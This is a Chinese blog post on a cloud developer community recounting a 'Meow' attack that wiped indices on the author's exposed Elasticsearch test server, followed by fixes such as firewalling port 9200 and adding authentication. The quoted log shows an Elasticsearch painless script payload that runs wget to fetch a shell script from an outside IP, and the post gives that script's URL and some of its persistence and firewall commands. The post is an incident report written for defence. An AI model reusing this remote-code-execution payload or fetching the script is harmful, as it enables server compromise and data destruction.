前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Meow攻击删除不安全(开放的)的Elasticsearch(及MongoDB) 索引,建一堆以Meow结尾的奇奇怪怪的索引(如:m3egspncll-meow)

Meow攻击删除不安全(开放的)的Elasticsearch(及MongoDB) 索引,建一堆以Meow结尾的奇奇怪怪的索引(如:m3egspncll-meow)

作者头像
NaughtyCat
发布2020-10-09 16:35:36
6410
发布2020-10-09 16:35:36
举报
文章被收录于专栏:开心的平凡酱开心的平凡酱

07月29日,早上一来,照例先连接Elasticsearch查看日志【禁止转载,by @CoderBaby】,结果,咦,什么情况,相关索引被删除了(当天正在写入数据的索引,不能被删除),产生了一堆以Meow结尾的奇奇怪怪的索引,如下图:

一阵紧张、懵逼,赶紧查看日志,发现如下问题:系统在远程连接并下载执行一个脚本,如下(慌张):

[2020-07-28T14:02:02,540][DEBUG][o.e.a.s.TransportSearchAction]  [m3egspncll-meow][0], node[CnXg4eVSSd-Wsp_otUjL7A], [P], s[STARTED], a[id=cLeu7vMiSAy6X-45si-50w]: Failed to execute [SearchRequest{searchType=QUERY_THEN_FETCH, indices=[], indicesOptions=IndicesOptions[id=38, ignore_unavailable=false, allow_no_indices=true, expand_wildcards_open=true, expand_wildcards_closed=false, allow_alisases_to_multiple_indices=true, forbid_closed_indices=true], types=[], routing='null', preference='null', requestCache=null, scroll=null, maxConcurrentShardRequests=5, batchedReduceSize=512, preFilterShardSize=128, source={
  "size" : 1,
  "script_fields" : {
    "lupin" : {
      "script" : {
        "source" : "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh -P /tmp/sssooo\").getText()",
        "lang" : "painless"
      },
      "ignore_failure" : false
    }
  }
}}] lastShard [true]

 查看整个脚本,可以看到,里面在修改防火墙配置、串改系统安全加固、设置watchdog等等(害怕),脚本部分相关代码如下(脚本可到:http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh  下载):

    chmod 777 /tmp/networkservice
    chattr +i /tmp/networkservice
    chmod 777 /tmp/sysguard
    chattr +i /tmp/sysguard

iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload

然后一通google,发现腾讯安全团队和国外一个安全的哥们已发现此问题,如下(截止7月24日,他们发现已经有1779个Elasticsearch和MongoDB受到攻击):

可以去作者Twitter账号(梯子请自备  https://twitter.com/MayhemDayOne?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1286577695946608640%7Ctwgr%5E&ref_url=https%3A%2F%2Fwww.searchenginejournal.com%2Fmeow-attack%2F375764%2F)关注Meow攻击的后续进展,截止笔者发稿(8月5日),还有最新的进展:

【后续进展】

7月27号,攻击者会让受害者转到一个支付链接:

7月28号,有更多的受害者的数据被删除:

【问题原因】

Elasticsearch默认会对外开放9200端口,便于远程通过插件(如Elasticsearch-head)访问和管理。连接到服务器端口的任何个人和组织,就可以通过调用相应的API进行增删改查。

【解决方案】

(1)开启防火墙(service iptables start),或者关闭9200端口(iptables -A INPUT -p tcp --dport 9200 -j DROP),如需开放9200端口,建议在安全组限制只允许指定IP才能访问

(2)在config/elasticsearch.yml中为9200端口设置认证,相关配置参数可参考:

http.basic.enabled true #启动认证,开启会接管全部HTTP连接
http.basic.user "admin" #配置认证账号
http.basic.password "admin_pw" #配置认证密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"] #白名单

(3)使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证

 参考

(1)https://www.searchenginejournal.com/meow-attack/375764/#close

后记

还好本人受攻击的只是测试服务器上的实验数据,后面果断公司卖出的服务器相关Elasticsearch开放端口全部关闭;

之所以被称为Meow攻击,是这个攻击在日志里会留下“Meow”的相关字符,并且创建以“Meow”为结尾的索引,可爱的喵星人,meow...

*******************************************************************************

精力有限,想法太多,专注做好一件事就行

  • 我只是一个程序猿。5年内把代码写好,技术博客字字推敲,坚持零拷贝和原创
  • 写博客的意义在于打磨文笔,训练逻辑条理性,加深对知识的系统性理解;如果恰好又对别人有点帮助,那真是一件令人开心的事

*******************************************************************************

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-08-05 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
Elasticsearch Service
腾讯云 Elasticsearch Service(ES)是云端全托管海量数据检索分析服务,拥有高性能自研内核,集成X-Pack。ES 支持通过自治索引、存算分离、集群巡检等特性轻松管理集群,也支持免运维、自动弹性、按需使用的 Serverless 模式。使用 ES 您可以高效构建信息检索、日志分析、运维监控等服务,它独特的向量检索还可助您构建基于语义、图像的AI深度应用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档